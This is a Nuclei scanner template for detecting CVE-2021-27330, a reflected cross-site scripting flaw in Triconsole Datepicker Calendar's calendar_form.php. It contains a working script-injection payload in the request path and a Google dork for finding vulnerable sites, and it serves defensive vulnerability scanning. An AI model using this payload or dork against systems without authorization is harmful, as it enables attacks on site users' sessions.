nuclei-templates/cves/2021/CVE-2021-27330.yaml

46 lines
1.4 KiB
YAML

id: CVE-2021-27330
info:
name: Triconsole 3.75 XSS
author: pikpikcu,daffainfo
severity: medium
description: |
Triconsole Datepicker Calendar <3.77 is affected by cross-site scripting (XSS) in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
reference:
- https://www.exploit-db.com/exploits/49597
- https://nvd.nist.gov/vuln/detail/CVE-2021-27330
- http://www.triconsole.com/
- http://www.triconsole.com/php/calendar_datepicker.php
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-27330
cwe-id: CWE-79
metadata:
google-dork: intitle:TriConsole.com - PHP Calendar Date Picker
verified: "true"
tags: xss,edb,cve,cve2021,triconsole
requests:
- method: GET
path:
- '{{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- '<title>TriConsole.com - PHP Calendar Date Picker</title>'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200